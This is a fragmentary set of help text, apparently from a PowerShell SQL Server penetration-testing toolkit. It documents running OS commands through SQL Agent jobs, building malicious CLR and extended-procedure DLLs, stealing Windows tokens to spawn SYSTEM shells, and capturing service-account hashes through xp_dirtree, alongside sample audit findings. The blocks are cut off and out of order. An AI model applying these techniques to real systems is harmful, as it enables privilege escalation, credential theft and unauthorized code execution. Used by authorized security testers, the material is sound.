Function  Invoke-SQLOSCmdAgentJob
{
    <#
            .SYNOPSIS
            Run operating system commands on a Microsoft SQL server by
            leveraging the SQL Agent Job service. There is not a method to retrieve the output,
            but it's useful for launching remote access code or sending output through another means.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER Sleep
            Command execution time in seconds.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Type
            The type of Job subsystem to launch. Choices are CmdExec (windows command) or PowerShell.
            .PARAMETER Command
            Based on type chosen above, this is the command launched when the job is executed. If nesting PowerShell
            variables within the command, it will need to be escaped with ` (back tick).

Function  Get-SQLDomainObject
{
    <#
        .SYNOPSIS
        Using the OLE DB ADSI provider, query Active Directory for a list of domain objects
        via the domain logon server associated with the SQL Server. This can be
        done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
        flag to switch between modes.
        .PARAMETER Username
        SQL Server or domain account to authenticate with.
        .PARAMETER Password
        SQL Server or domain account password to authenticate with.
        .PARAMETER LinkUsername
        Domain account used to authenticate to LDAP through SQL Server ADSI link.
        .PARAMETER LinkPassword
        Domain account password used to authenticate to LDAP through SQL Server ADSI link.
        .PARAMETER UseAdHoc
        Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
        .PARAMETER Credential
        SQL Server credential.
        .PARAMETER Instance
        SQL Server instance to connection to.
        .PARAMETER Threads
        Number of concurrent host threads.
        .PARAMETER LdapPath
        Ldap path.
        .PARAMETER LdapFilter
        LDAP filter. Example: -LdapFilter ";(&(objectCategory=Person)(objectClass=user))"
        .PARAMETER LdapFields
        Ldap fields. Example -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath;'
        .EXAMPLE
        PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LdapFilter "(&(objectCategory=Person)(objectClass=user))" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -LdapPath "domain.local"

{
    <#
            .SYNOPSIS
            Using the OLE DB ADSI provider, query Active Directory for a list of domain users
            via the domain logon server associated with the SQL Server. This can be
            done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
            flag to switch between modes. The userstate parameter can also be used to filter users
            by state such as disabled/locked, and property setting such as not requiring a password
            or kerberos preauthentication.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER LinkUsername
            Domain account used to authenticate to LDAP through SQL Server ADSI link.
            .PARAMETER LinkPassword
            Domain account password used to authenticate to LDAP through SQL Server ADSI link.
            .PARAMETER UseAdHoc
            Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER FilterUser
            Domain user to filter for.
            .PARAMETER UserState
            Filter for users of specific state such as disabled, enabled, and locked.
            .EXAMPLE

            Only grab enabled users.
            .EXAMPLE
            PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -UserState All

            Only grab that don't require kerberos preauthentication.
            PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -UserState PreAuthNotRequired
            Only grab locked users.

Function  Get-SQLDomainGroupMember
{
    <#
            .SYNOPSIS
            Using the OLE DB ADSI provider, query Active Directory for a list of domain group members
            via the domain logon server associated with the SQL Server. This can be
            done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
            flag to switch between modes.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER LinkUsername
            Domain account used to authenticate to LDAP through SQL Server ADSI link.
            .PARAMETER LinkPassword
            Domain account password used to authenticate to LDAP through SQL Server ADSI link.
            .PARAMETER UseAdHoc
            Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER FilterGroup
            Domain group to filter for.

function Create-SQLFileCLRDll
{
    <#
            .SYNOPSIS
            This script can be used to create a CLR DLL to execute OS commands through SQL Server. It provides the option to set a custom procedure name.
            By default, it will also create a file containing a "CREATE ASSEMBLY" TSQL command that can be used to create an assembly and function without
            requiring the DLL. Finally, an the function can be used to convert an existing CRL DLL ascii hex so it can be used
            to register the assembly without the DLL.

function Create-SQLFileXpDll
{
    <#
            .SYNOPSIS
            This script can be used to generate a DLL file with an exported function that can be registered as an
            extended stored procedure in SQL Server. The exported function can be configured to run any
            Windows command. This script is intended to be used to test basic SQL Server audit controls around
            the sp_addextendedproc and sp_dropextendedproc stored procedures used to register and unregister
            extended stored procedures.
            .PARAMETER ExportName
            Name of the exported function that will be created.
            .PARAMETER Command
            Operating system command that the exported function will run.
            .PARAMETER OutFile
            Name of the Dll file to write to.
            .EXAMPLE
            PS C:\temp> Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
 
            Creating DLL c:\temp\test.dll
            - Exported function name: xp_test
            - Exported function command: "echo test > c:\temp\test.txt"
            - DLL written
            - Manual test: rundll32 c:\temp\test.dll,xp_test
 
            SQL Server Notes
            The exported function can be registered as a SQL Server extended stored procedure. Options below:
            - Register xp via local disk: sp_addextendedproc 'xp_test', 'c:\temp\myxp.dll'
            - Register xp via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\myxp.dll'
            - Unregister xp: sp_dropextendedproc 'xp_test'

            .NOTES
            The extended stored procedure template used to create the DLL shell was based on the following stackoverflow post:
            http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
 
            Modified source code used to create the DLL can be found at the link below:
            https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp
 
            The method used to patch the DLL was based on Will Schroeder (@HarmJ0y) "Invoke-PatchDll" function found in the PowerUp toolkit:

            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Trustworthy Database
            Description : One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database
            and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules
            that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on
            the server.
            Remediation : Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to
            set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it.
            Severity : Low
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : There is not exploit available at this time.
            Details : The database testdb was found configured as trustworthy.

            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Execute xp_dirtree
            Description : xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force
            the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized
            access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats
            because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.
            Remediation : Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : Yes
            ExploitCmd : Crack the password hash offline or relay it to another system.
            Details : The public principal has EXECUTE privileges on XP_DIRTREE procedure in the master database. Recovered password hash! Hash type =
            NetNTLMv1;Hash = SQLSvcAcnt::Domain:0000000000000000400000000000000000000000000000000:1CEC319E75261CEC319E759E7511E1CEC319E753AB7D:

            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - CREATE PROCEDURE
            Description : The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.
            Remediation : If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a
            command like: REVOKE CREATE PROCEDURE TO user.
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : No exploit is currently available that will allow evil to become a sysadmin.
            Details : The evil principal has the CREATE PROCEDURE permission in the testdb database.

Function Invoke-SQLImpersonateServiceCmd
{
    <#
            .SYNOPSIS
            This function will download the Invoke-TokenManipulation function written by Joe Bialek and use it
            to impersonate local SQL Server service accounts in order to gain sysadmin privileges on local
            SQL Server instances. By default, the function will open a cmd.exe for all local services used
            by SQL Server. However, an alternative executable can also be provided (like ssms and PowerShell).
            Note1: This function requires local administrative or localsystem privileges.
            Note2: Currently, this function only supports local execution, but it can be run remotely via WMI or
            PowerShell remoting.
            .PARAMETER Instance
            SQL Server instance to connection to. If no instance is provided this script will open a seperate cmd.exe
            running in the context of each SQL Server service.
            .PARAMETER Exe
            Executable to run.
            .PARAMETER EngineOnly
            Only run command in the context of SQL Server database engine service accounts.
            .EXAMPLE
            This will pop up a cmd.exe console for every service used by SQL Server on the local system, and
            the cmd.exe will be running in the context of the associated service account.
            PS C:\> Invoke-SQLImpersonateServiceCmd
            .EXAMPLE
            This will pop up a cmd.exe consoles running as the SQL Server service accounts associated with
            the provided SQL Server instance.
            PS C:\> Get-SQLInstanceLocal | Invoke-SQLImpersonateServiceCmd -Verbose
            .EXAMPLE
            This will pop up a cmd.exe consoles running as the SQL Server service accounts associated with
            the provided SQL Server instance.
            the cmd.exe will be running in the context of the associated service account.
            PS C:\> Invoke-SQLImpersonateServiceCmd -Verbose -Instance SQLServer1\STANDARDDEV2014
            .EXAMPLE
            This will run the provided powershell command as the SQL Server datbase engine service account associated with the
            provided instance.
            PS C:\> Invoke-SQLImpersonateServiceCmd -Verbose -Instance SQLServer1\STANDARDDEV2014 -EngineOnly -Exe 'PowerShell -c "notepad.exe"'

# Function: Invoke-TokenManipulation
# -------------------------------------------
# Author: Joe Bialek, Twitter: @JosephBialek
function Invoke-TokenManipulation
{
<#
.SYNOPSIS
 
This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
This functionality is very similar to the incognito tool (with some differences, and different use goals).
 
This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
 
Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
credentials for the authentication.
 
IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
This could show up in logs depending on the level of monitoring.
 
 
PERMISSIONS REQUIRED:
SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
 
 
Important differences from incognito:
First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
without dumping credentials.
 
In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
for tokens which were created with desirable logon tokens (and only displays them by default).
 
In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).

License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.11
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
 
.DESCRIPTION
 
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
 
.PARAMETER Enumerate
 
Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
 
.PARAMETER RevToSelf
 
Switch. Stops impersonating an alternate users Token.
 
.PARAMETER ShowAll
 
Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
 
.PARAMETER ImpersonateUser
 
Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
    This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
     
.PARAMETER CreateProcess
 
Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
     
.PARAMETER WhoAmI
 
Switch. Displays the credentials the PowerShell thread is running under.
 
.PARAMETER Username
 
Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
 
.PARAMETER ProcessId
 
Specify the Token to use by ProcessId. This will use the primary token of the process specified.
 
.PARAMETER Process
 
Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
 
.PARAMETER ThreadId
 
Specify the Token to use by ThreadId. This will use the token of the thread specified.
 
.PARAMETER ProcessArgs
 
Specify the arguments to start the specified process with when using the -CreateProcess mode.
 
.PARAMETER NoUI
 
If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
to "Everyone".
 
.PARAMETER PassThru
 
If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
 
     
.EXAMPLE
 
Invoke-TokenManipulation -Enumerate
 
Lists all unique usable tokens on the computer.
 
.EXAMPLE
 
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
 
Spawns cmd.exe as SYSTEM.
 
.EXAMPLE
 
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
 
Makes the current PowerShell thread impersonate SYSTEM.
 
.EXAMPLE
 
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
 
Spawns cmd.exe using the primary token belonging to process ID 500.
 
.EXAMPLE
 
Invoke-TokenManipulation -ShowAll
 
Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
 
.EXAMPLE
 
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
 
Spawns cmd.exe using the token belonging to thread ID 500.
 
.EXAMPLE
 
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
 
Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
 
.EXAMPLE
 
(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
 
Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
 
.EXAMPLE
 
Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
 
Makes the current thread impersonate the lsass security token.

# Notes: Added "ImportSessionFunctions" to import custom functions from the current session into the runspace pool.
function Invoke-Parallel
{
    <#
            .SYNOPSIS
            Function to control parallel processing using runspaces
 
            .DESCRIPTION
            Function to control parallel processing using runspaces
 
            Note that each runspace will not have access to variables and commands loaded in your session or in other runspaces by default.
            This behaviour can be changed with parameters.
 
            .PARAMETER ScriptFile
            File to run against all input objects. Must include parameter to take in the input object, or use $args. Optionally, include parameter to take in parameter. Example: C:\script.ps1
 
            .PARAMETER ScriptBlock
            Scriptblock to run against all computers.
 
            You may use $Using:<Variable> language in PowerShell 3 and later.
 
            The parameter block is added for you, allowing behaviour similar to foreach-object:
            Refer to the input object as $_.
            Refer to the parameter parameter as $parameter
 
            .PARAMETER InputObject
            Run script against these specified objects.
 
            .PARAMETER Parameter
            This object is passed to every script block. You can use it to pass information to the script block; for example, the path to a logging folder
 
            Reference this object as $parameter if using the scriptblock parameterset.
 
            .PARAMETER ImportVariables
            If specified, get user session variables and add them to the initial session state
 
            .PARAMETER ImportModules
            If specified, get loaded modules and pssnapins, add them to the initial session state
 
            .PARAMETER Throttle
            Maximum number of threads to run at a single time.
 
            .PARAMETER SleepTimer
            Milliseconds to sleep after checking for completed runspaces and in a few other spots. I would not recommend dropping below 200 or increasing above 500
 
            .PARAMETER RunspaceTimeout
            Maximum time in seconds a single thread can run. If execution of your code takes longer than this, it is disposed. Default: 0 (seconds)
 
            WARNING: Using this parameter requires that maxQueue be set to throttle (it will be by default) for accurate timing. Details here:
            http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430
 
            .PARAMETER NoCloseOnTimeout
            Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out. This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host.
 
            .PARAMETER MaxQueue
            Maximum number of powershell instances to add to runspace pool. If this is higher than $throttle, $timeout will be inaccurate
 
            If this is equal or less than throttle, there will be a performance impact
 
            The default value is $throttle times 3, if $runspaceTimeout is not specified
            The default value is $throttle, if $runspaceTimeout is specified
 
            .PARAMETER LogFile
            Path to a file where we can log results, including run time for each thread, whether it completes, completes with errors, or times out.
 
            .PARAMETER Quiet
            Disable progress bar.
 
            .EXAMPLE
            Each example uses Test-ForPacs.ps1 which includes the following code:
            param($computer)
 
            if(test-connection $computer -count 1 -quiet -BufferSize 16){
            $object = [pscustomobject] @{
            Computer=$computer;
            Available=1;

            Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject $(get-content C:\pcs.txt) -runspaceTimeout 10 -throttle 10
 
            Pulls list of PCs from C:\pcs.txt,
            Runs Test-ForPacs against each
            If any query takes longer than 10 seconds, it is disposed
            Only run 10 threads at a time
 
            .EXAMPLE
            Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject c-is-ts-91, c-is-ts-95
 
            Runs against c-is-ts-91, c-is-ts-95 (-computername)
            Runs Test-ForPacs against each
 
            .EXAMPLE
            $stuff = [pscustomobject] @{
            ContentFile = "windows\system32\drivers\etc\hosts"
            Logfile = "C:\temp\log.txt"
            }
 
            $computers | Invoke-Parallel -parameter $stuff {
            $contentFile = join-path "\\$_\c$" $parameter.contentfile
            Get-Content $contentFile |
            set-content $parameter.logfile
            }
 
            This example uses the parameter argument. This parameter is a single object. To pass multiple items into the script block, we create a custom object (using a PowerShell v3 language) with properties we want to pass in.
 
            Inside the script block, $parameter is used to reference this parameter object. This example sets a content file, gets content from that file, and sets it to a predefined log file.
 
            .EXAMPLE
            $test = 5
            1..2 | Invoke-Parallel -ImportVariables {$_ * $test}
 
            Add variables from the current session to the session state. Without -ImportVariables $Test would not be accessible
 
            .EXAMPLE
            $test = 5
            1..2 | Invoke-Parallel {$_ * $Using:test}
 
            Reference a variable from the current session with the $Using:<Variable> syntax. Requires PowerShell 3 or later. Note that -ImportVariables parameter is no longer necessary.

            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - IMPERSONATE LOGIN
            Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
            Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
            Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login.
